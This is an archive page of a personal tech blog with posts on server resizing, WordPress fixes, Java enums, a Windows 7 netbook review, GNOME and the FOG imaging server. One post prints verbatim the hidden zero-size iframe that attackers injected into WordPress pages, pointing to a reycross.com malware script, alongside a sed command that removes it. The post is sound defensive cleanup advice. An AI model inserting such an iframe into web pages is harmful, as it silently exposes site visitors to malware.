15. January 2010

0 Comments

When Server Load Goes to the Moon – Slicehost ‘resize’ Comes to the Rescue

One of the member sites of The Buzz Media ran a story this morning that caused the load on the host server to go pas ‘11′… waaaay way past ‘11′ – to 257.89 to be exact according to ‘top’ (above).

This host server was not in a load-balanced configuration when the rush happened, we weren’t able to simply add more WWW servers into the rotation to lessen the load, we just had to sit there and see our site die.

The Buzz Media has recently moved member sites to Slicehost’s hosting services, with us liking it quite a bit so far.

One of the most compelling reasons we went with Slicehost was the real-time, non-destructive ‘resize’ functionality that Slicehost provides administrators:

Fortunately when the shit hit the proverbial fan we were able to get out from under crushing server load by calling a ‘resize’ on that particular server and ramping it up temporarily for 8 hours until the server load fell back to normal amounts.

At that point we ‘resized’ it again back down to it’s original slice-size and all we were charged was a pro-rated amount for the slice differential for the amount of time that it was used.

Brilliant actually… much easier than EC2 and gave us much-faster relief with almost no knuckle-busting work from our end without setting up a load-balanced farm for that particular site.

Continue reading...

14. January 2010

0 Comments

WordPress Image Upload ‘Crunching’ Not Resizing Images

NOTEI am posting this information here because I just spent 20 mins Googling for the types of phrases in the title and never got a direct answer and hope anyone else that isn’t a PHP/WordPress guru that needs help with this can find it with this post.

I migrated my WordPress sites to a new server recently and noticed when I was using the Image Upload feature for a story, to upload an imagine into my Media Library, during the “Crunching…” phase of the upload, WordPress wasn’t resizing my images at all.

I had run into this problem 1 before years ago on my old host and fixed it — and forgot what the fix was.

Turns out, you need the PHP “GD” module installed. This is the graphics library that WordPress uses to resize the images. From RedHat, Fedora or CentOS installing this is as simple as:

yum install php-gd

I’m sure Debian/Ubuntu has some equally easy command line using apt-get to install that package as well. Once done don’t forget to run:

/etc/init.d/httpd restart

so Apache can reload the new modules. Then you should be all set.

Continue reading...

15. September 2009

7 Comments

How to Remove reycross.com WordPress Malware

It seems that a new WordPress malware hijack is making the rounds and we got hit. Google just issued me a “this site contains malware” warning for my sites, after some quick investigation it looks like the hijack has attached a malicious <iframe> block to the end of every HTML and PHP page in the site, so now I need to clean it out.

Luckily this is just like last time, and was easy to get rid of. I hope this tip helps someone else out as well.

This time, the iframe snippet that was getting added was:

<iframe src="http://reycross.com/laso/s.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Luckily, I had my old script laying around that systematically searches through all my files and removed the offending piece of crap from the files, you can use this script command as well to do the same:

find . -name '*.*' -exec sed -i 's/<iframe src="http:\/\/reycross.com\/laso\/s.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//g' {} \;

Hope this helps anybody else getting sacked by this attack. I think it has to do with a theme vulnerability :(

Continue reading...

4. August 2009

0 Comments

SmugMug Downloader Web Start Link Fixed

It looks like on Mac the Java Web Start JNLP file used to launch the SmugMug Downloader had an invalid reference to itself and was failing to load — it seems on Windows this was working anyway.

Continue reading...

28. July 2009

0 Comments

kallasoft SmugMug Album Downloader Announced

smugmug-downloader-screenshot

kallasoft would like to announce the initial release of the SmugMug Album Downloader. The purpose of this software is to help you download your albums from SmugMug onto your local machine on Windows, Linux or Mac.

Comments and feedback welcome!

Continue reading...

14. July 2009

0 Comments

Using MoveFile on Windows for Unmovable Files

Grant Gochnauer sent in a handy tip on using the MoveFile utility on Windows to schedule locked files to be moved at the next system startup.

I’m sharing this here so the next time you get some pesky spyware or virus on your machine, you have 1-more way to combat it.

Continue reading...

30. June 2009

0 Comments

UPDATE – Site Cleaned, Malware Removed

google-chrome-malware-site-warning

Over the last few weeks you might have seen a warning window like the one above (or similar to it) when visiting the site. Unfortunately it looks like some WordPress plugin-tinkering that I did right before going on vacation introduced an obnoxious malware hook into the site (don’t worry, it’s nothing epicly horrible).

I just finished manually cleaning it out using talgalili’s tip here. The infection was an invisible iframe-hack injecting a reference to the m-analytics.net site in every single .php or .html file hosted on the site — really obnoxious but easy enough to clear out and tighten up everything in the process.

Sorry you guys had to deal with that while I was gone, we should be good now.

Continue reading...

20. April 2009

4 Comments

Did You Know enums Can Define Their Own Methods?

… I sure as hell didn’t, but found myself in a position the other day where I was thinking “Damn, I wish I could define a common method in this enum that I could call and not have to write another utility method…” Well, ask and ye shall receive… or something like that.

Here’s the enum I had defined in one of my classes:

public static enum EventType {
    COMPONENT_ADDED,
    COMPONENT_REMOVED
}

It’s fairly straight forward what I was using it for — every time I fired an event of a certain type, I always make sure to set the type on the event, so the receiver knows what to do with it.

The situation I found myself in, is similar to MouseEvent’s use of the BUTTON constants in that when a new event of the specific type is created, the only valid eventType arguments allowed should be of ones defined in the enum itself.

NOTE: As I write this, it just dawned on me that this specific example is an invalid use-case, but I’m still going to finish the example because it’s really cool that you can define methods inside of enums. For those that haven’t caught my mistake yet, I’ll explain why this example is invalid at the end of the article.

In order to guarantee that the provided eventType is part of the defined enum, I sat down and started to write a simple boolean contains(EventType eventType) method in the parent event class… it was then that I realized “this feels wrong, this method that checks contains state should be defined in the enum itself — it’s the logical place one would look for such a thing”

After some digging online, it turns out defining methods inside enums is completely valid, becuase they are essentially classes. What I ended up with is the following:

public static enum EventType {
    COMPONENT_ADDED,
    COMPONENT_REMOVED;

    public static boolean contains(EventType eventType) {
        boolean contains = false;
        EventType[] values = EventType.values();

        for (int i = 0; i < values.length && !contains; i++) {
            contains = (COMPONENT_ADDED.equals(values[i]) || COMPONENT_REMOVED
                    .equals(values[i]));
        }

        return contains;
    }
}

So now when I receive an eventType in the constructor of the parent event, I can check it with a simple:

if(!EventType.contains(eventType))
    throw new IllegalArgumentException();

Very cool stuff.

CLARIFICATION: For those that didn’t catch my mistake with this example, you’ll notice the entire purpose for writing the contains(EventType eventType) method in the EventType enum is to verify that a given instance of EventType was defined in the enum — the answer is “of course it has been” — the only value I have to check for is null, if the value of the eventType argument is not null, it’s already guaranteed that it is a valid value from the enum, because it is an instance of the enum — so there is no need to check.

Even though I mad that glaring mistake with this example, I don’t want to think of another example on the fly that is more applicable, or dumb this one down to something really generic like the classic fruit-type example — instead the information provided should still be helpful if you are curious about learning about enums in Java 5 or later in more detail.

ADDITIONAL NOTE: I’m always surprised at the number of people that don’t know about using multiple-conditions in the standard for-loop above. It’s an awesome way to short-circuit an itteration when you find what you want.

Continue reading...

9. March 2009

31 Comments

Windows 7 on a Lenovo Ideapad S10e Netbook

windows-7-lenovo-s10e-desktop

At the end of January I ordered a nice shiny Lenovo Ideapad S10e from Buy.com. I managed to get a decent price that didn’t hurt the pocketbook, and it was a new toy that I could endlessly experiment with. I started to install a wide variety of operating systems to check for support and to put it through the paces.

Now, if you’re like me, you have a profound dislike for Windows Vista (especially on laptops). Of all the operating systems I’ve chosen to install on the 10e I decided to skip Vista because it takes forever to boot and nags you like a four year old for doing just about anything.

My interested was piqued when the beta for Windows 7 was released. During the time period that I was deciding to purchase the Ideapad, I managed to sign up for the Windows 7 test and downloaded the iso. I basically just had it lying around until my S10e arrived. What better a machine to install a brand new Windows operating system on than a shiny new netbook. I plunged…

Before this was possible, I had to get an external cdrom drive. I located a combo on NewEgg that included a 2GB stick of Kingston RAM and a highly portable, power adapter-less Samsung SE-S084 DVD Burner.

With that, the new specs are as follows:

10.1″ Screen (1024×576 remember this is the ‘e’ model)
1.6Ghz Atom
2 GB Ram (2 gigs is the max the atom can see)
80GB Hard Drive
802.11g
10/100BaseT
ExpressCard Slot

I went ahead, booted up with the Windows 7 install disk, and walked the paces.  My first impressions were good since the install took about 30 minutes (enough time to make a cup of coffee and read the latest Slashdot). Boot up speed was okay, I eyeballed  a little over a minute with my wrist watch, including the time it took to enter my password and log on.

Now, if you haven’t used Vista before, Windows 7 will look pretty different, and it will most definitely feel like the red headed, alien step child compared to Win2k or XP. Here is a little proof that it did actually install:

windows-7-lenovo-s10e-system-information

You might notice that the RAM registers at 2.5 GB. You might also notice that I said my machines specs are 2GB. I wasn’t lying. Unfortunately for me, the Atom chipset can only recognize and use 2GB of memory. That means that the standard (and soldered-on) 512MB is nothing more than a space hog internally disabled.

Gripes about the chipset aside,  I really wanted to see how this little Ideapad would stack up so I started the benchmark tools that Windows 7 came with to see how it ranked. After a couple of minutes, the score came to 2.2, the lowest score achieved among all the tests. A screenshot can be seen below.

windows-7-lenovo-s10e-windows-experience-performance-results

Not too surprised by the score (it IS a netbook), I decided to check Windows Update to make sure there weren’t any outstanding video, sound, or otherwise performance enhancing updates. Naturally, there were three. I went ahead and updated, rebooted, and started the test over. Nothing changed, I still managed a 2.2. Oh well.

windows-7-lenovo-s10e-windows-experience-performance-retest

The next  big thing I wanted to test was Power Mangement, and I have to say I was pretty impressed with the sleep/wake function (key for being able to be constantly on the run). Know that I am a Mac user half of the time (the other half an Ubuntu user), and know that Apple has spoiled me pretty bad as far as the Sleep/Wake capabilities of a laptop. Fanboy silenced, I’m impressed. The Lenovo takes a little bit longer than my Macbook to wake from sleep, but is usable in well under two seconds. The stock XP install took closer to 10 seconds to wake and ‘do it’s thing’.

Unfortunately, I did notice something a little odd after putting the Ideapad to sleep and then waking it. There seemed to be a high pitch sound that randomly starts within a couple seconds of waking up. I’ve whittled this down to a driver issue since the high pitch sound goes away when I increase or decrease the volume. I went straight to the RealTek site, grabbed the latest drivers for the sound card  (2-24-09) and installed them. This seemed to do the trick.

Next up was battery life. I know the true purpose for these little machines isn’t to watch a DVD, but it is is something I’ll at least want to be doing at every now and again. I wasn’t going to be using wireless during this time, so I turned it off as well as decreased the screen brightness to half of its normal output. Next, I popped in a 16:9 DVD, and here is what I saw:

windows-7-lenovo-s10e-dvd-playback-pans-labyrinth

Using Windows Media Player, the DVD opened up in perfect widescreen mode with no black borders. This is thanks to the native 1024×576 resolution on the 10e (remember the .1″ difference in screen size compared to the S10). Normally, I wouldn’t have accepted the loss in prime 24 pixel real estate, but so far I haven’t found it a problem. In this case, it actually makes it the perfect screen for viewing widescreen dvds.

Sadly my viewing pleasure came to an end about 10 minutes too early. The battery power had been depleted and Windows started to hibernate the netbook at 6% battery life. I’m sure there was some sort of modification I could have made to prevent it, but in all honesty 6% wouldn’t have given me much to work with anyways. I was going for minimal tweaks so beyond changing the the screen brightness and the power saving setting I don’t think a normal user would think of anything else.  In the end, the 1 hour 51 minute runtime is still a little unimpressive for the machine but it is okay. I have to give some credit to the S10e since the Samsung external DVD drive is completely USB powered.

windows-7-lenovo-s10e-dvd-playback-battery-life

That being said, I didn’t want to leave the experience with a crutch so I decided to help balance it out by rerunning the battery test with another movie imported to h.264 and on an SD card. This is the more ideal situation for me, since I will mostly be watching movies mostly from SD cards instead of a cumbersome external DVD setup.

Under an hour and a half into the movie I checked to see the time left on the battery. To my dismay, 26 minutes were left. Looks like the external DVD drive didn’t consume that much power after all. Again, Windows decided to hibernate at 6% and I was still missing about 5 minutes of the movie. As far as Windows 7 is concerned, battery life conservation when watching DVD or DVD quality movies is poor despite enabling ‘Power Saving’ and disabling wireless.

After the movie test I decided to ease up a bit and retest the ‘Power Saving’ setting in Windows 7. I managed to get about 2.5 hours of ‘normal use’ out of the netbook when web surfing, and writing emails. Nothing too spectacular, but on par with other netbooks running XP.

Since I did have the DVD Burner, I wanted to test out Windows 7’s support for burners. I downloaded the latest MythBuntu ISO, right clicked, and I had an option to burn the ISO. Very nice. I was able to burn the ISO without needing any extra software. I did run into a little problem though. Before I burned the ISO I selected the option to verify the disk when it completes. The verification pop up never completed, and left me with this on screen:

windows-7-lenovo-s10e-dvd-burn-stuck-verify

The disk did, however, burn successfully. Next, I installed Safari to test drive the massive Javascript improvement Apple has been touting. The install went clean, and I was presented with a fairly nice interface on the little netbook screen.

windows-7-lenovo-s10e-safari-2-screenshot

I almost preferred this to Firefox since the address bar didn’t take up as much screen real estate. It ran pretty nice making Gmail quite a bit zippier. I also ran some Sunspider benchmarks comparing IE and Safari and there wasn’t really much of a competition.  Safari won hands down with final tests running 5x faster than IE. That just solidified my stance that my prefererence is not for IE and I don’t think Windows 7 will change it.

After spending a couple days with Windows 7 on the S10e, I feel that it was at least on par with the performance of Windows XP, and much better than the initial Vista release I had experienced on other, more powerful laptops. I was happy with the built in features: a new and clean interface, ability to burn ISOs without extra software, complete hardware support for the netbook, and okay power savings. As it has more time to mature, I’m sure Windows 7 might be a viable contender on these new Atom-based machines.

Windows 7 Screenshot Gallery


Continue reading...

24. February 2009

0 Comments

Explanations of Common Java Exceptions

Huge thanks to Marc Chung for sending along this great reference. It’s a breakdown of all the JDK exceptions and textual descriptions of what they represent — so if you are designing your own API or just working on your own app and want to make sure your use of particular exceptions (e.g. IllegalArgumentException) is correct, give it a look.

For a quick reference, here’s the breakdown of just the java.lang Exceptions:

java-exception-explanations

Continue reading...

16. February 2009

7 Comments

Global, Mac-like Menubar on GNOME with gnome2-globalmenu

gnome2-globalmenu-mac-terminal-example

Caught the introduction of this story over on OS News — apparently folks have been voting on the addition of a global, application-context sensitive menubar in Gnome for a while. The design of the bar is very similar to the way the global bar in Mac works. For those that don’t know, there is a universal menubar across the top of any Mac OS X desktop:

mac-osx-desktop-annotated

the contents of the menubar changes depending on the application that is currently focused. This is different (and sometimes strange) for Windows users that expect to see the application’s menubar inside the application itself (File, Edit, View, etc. menus).

The Linux/Unix desktop environment, GNOME, has always behaved similarly to a Windows desktop, with the applications managing their own menubars. However, given GNOME’s drive to be a simple/intuitive desktop (and the default for the popular Ubuntu Linux distribution), there has always been a very Mac-esque feel to the advancements that GNOME has taken with UI development… almost a hybrid between what Windows would do and what Mac would do. Because of this line that GNOME tended to walk, the desire to have a Mac-esque universal menubar isn’t too far of a stretch for the imagination.

[smartads]

Having this battle fought back in 2006 on Bugzilla resulting in some buggy and initial attempts at a global menubar, the effort never really got the steam it needed to be a viable solution for folks (or make it into GNOME proper). Fast-forward to today, and enter the very intuitive and flexible solution: gnome2-globalmenu project

gnome2-globalmenu-mac-about-dialog

As you can see from the screenshot above, globalmenu is a GNOME applet, requiring no hacked GTK builds or special GNOME builds — simply follow the dead-easy Ubuntu install instructions (or generic install instructions). For the Ubuntu folks, you’ll want to register the following repository depending on the Ubuntu version you are on:

  • Ubuntu 9.04 – Jaunty Jackalope:
    • deb http://ppa.launchpad.net/globalmenu-team/ppa/ubuntu jaunty main
    • deb-src http://ppa.launchpad.net/globalmenu-team/ppa/ubuntu jaunty main
  • Ubuntu 8.10 – Intrepid Ibex:
    • deb http://ppa.launchpad.net/globalmenu-team/ppa/ubuntu intrepid main
    • deb-src http://ppa.launchpad.net/globalmenu-team/ppa/ubuntu intrepid main
  • Ubuntu 8.04 – Hardy Heron (LTS):
    • deb http://ppa.launchpad.net/globalmenu-team/ppa/ubuntu hardy main
    • deb-src http://ppa.launchpad.net/globalmenu-team/ppa/ubuntu hardy main

NOTE: When registering the repository, be sure to check the Add Source box as well, that will automatically add the deb-src entries above to your sources list.

Next, on the Authentication Tab, you can import the gnome2-globalmenu GPG repository key to authenticate the software against, and then hit Reload and you are all set. When you are done the applet installed and listed in the GNOME Add to Panel dialog:

gnome2-globalmenu-mac-add-to-panel

and away you go!

Configuring globalmenu is straight forward, with some basic preferences you can choose:

gnome2-globalmenu-mac-applet-preferences

and usage is automatic… when you fire up an application, it’s menu-bar does not exist in the application’s window, but is instead promoted to the top of the screen to the global menubar:

gnome2-globalmenu-mac-gimp-scrolling-popout-menus

Right now only GTK-based applications are supported, so for applications like Firefox and OpenOffice, the menubars will still exist inside the application’s main menu, but this is an excellent start to the work.

Let’s hope this rolled into a future GNOME release and built on!

Continue reading...

1. February 2009

6 Comments

FOG as a web-based Ghost Replacement

Login Screen

Lets face it, some sectors just can’t move to Linux due to legacy application support, lack of personnel support, employee training, and especially due to the jump in vastly different user interfaces. Each company has their own incredibly (insert sarcasm) unique reason for holding back. So, what is left for the network admins to do other than to support the Windows base? What if there were more than 10, 50, or even 100 computer involved and your admin staff is less than 5?

As some of you might know, I use to manage a network of computers for a small office supply way back in the day. The one thing that I wanted most was to have a standard image to distribute to all the machines at any given time. Being the sole administrator working part time, remotely, and basically with no budget my options were severely limited. I longed for a solution that gave me the power to use 1 machine to create a custom image that could easily distribute security updates, software configurations, printer setups, and network shares. Those days are long gone, but a solution to this common problem has cropped up. Enter FOG, “a free computer cloning solution.”

FOG was created as a solution to a non web-based, expensive re-imaging product that often required the use of driver disks. FOG incorporates the use of TFTP and PXE to do its remote imaging, and a webserver to do the administration.

The install is pretty easy, and the wiki has step-by-step instructions for Ubuntu and for Fedora. Since the wiki has some great information on setting up FOG, I’ll refrain from duplicating documentation. Check out the User Guide wiki here.

Once you startup the install script you’ll be prompted for a Server type, your server address, your DHCP router address, and if you want to use your server install as a DHCP server. I went with the defaults giving the ip address of my server, using my router as the dhcp server, and not enabling FOG as the default DHCP server. Once the install gets going you should see a similar window:

Configuring the server with the install script

After that is done, you’ll be able to login to your freshly installed imaging server. There are a couple of things to note here. Since you need to be able to network boot your boxes, your DHCP server has to know the alternate location to send the netboot clients to. This is briefly described here. Also note, if you had a MySQL server installed before you added FOG you’ll need to modify the /var/www/fog/commons/config.php file to reflect the MySQL root password.

If you direct yourself over to http://localhost/fog/management. You can then use username: fog and password: password to get to the status/home page:

Status page after loggin in the first time.

I would suggest adding a new user to do the management work. You can get to the user management page by clicking on the icon next to the ‘home’ icon in the toolbar (second from the left), click New User in the left hand menu, entering a username and password  and then clicking Create User.  Next, you’ll want to add some hosts. Click on the icon that has a single monitor (third from the left), click Add New Host, and then enter the hostname and hardware address of the Windows machine you wish to image. If you don’t know the hardware address of the host you want to add, and are on the same network you can look it up using the arp table.

First, ping the host (using your hosts ip in place of the 192.168.0.101) to make sure it is alive. Then check the arp table:

~$ ping -c 1 192.168.0.101
~$ arp -a

After adding a host successfully you should see something similar to this:
Host Added Successfully window

Since I didn’t have much space on my image server to begin with, I modified the default storage node to point to a samba mounted filesystem on my fileserver. This is where you’ll store all of your backup images. Since this can get big pretty fast, you’ll want have lots of dedicated storage. You can modify the aforementioned settings by clicking on the Storage Management icon (the sixth icon from the left).

Storage management page

Now we need to add an image. You can do this by clicking on the icon labeled Image Management (the fifth icon from the left). Click New Image, enter in a name, select a Storage Group, an image filename, and then select the type of image to be stored (Single Partition, Multiple Partition, Multiple Partition all Disks, or RAW). As far as the server management goes, you are done. Before uploading drive images to the FOG server, though, you will need to install the client package on the machine you wish to image. that software can be obtained by going to http://[fog server]/fog/client.

Overall, I found the interface fairly intuitive. I would have given it a very intuitive rating had the advanced host tasks been easier to find. I mean, this is one of the really cool features of FOG and the amount of tools that it packs is enough to blow your socks off. If you click on the Tasks Management Icon ( the Star ) on the main site, click on List All Hosts, and then click on the little Advanced icon you get a chance to see what I’m talking about. There are a slew of great utilities to run on the host:

  • Debug features for Uploading and Deploying images
  • Memtest86+
  • Wake-On-Lan
  • Fast Wipe (destroys MBR)
  • Normal Wipe (one pass zeroing out data)
  • Full Wipe (writes random data over a couple full passes)
  • a Disk Surface Test
  • Test Disk
  • Recover (using PhotoRec)
  • Antivirus (using ClamAV)
  • and a Hardware Inventory Utility

Management tasks available for each host.

If you are looking into how to maintain a small to large amount of computers in a SMB or campus setting, you really should consider checking out FOG. Leveraging the best of Open Source you’ll be able to easily deploy standard images to loads of computers in a minimal amount of time. You can even manage computers using your iPod or iPhone!

iPod Screenshot taken from Fogs Documentation site

Check it out, and let us know what you think!

Continue reading...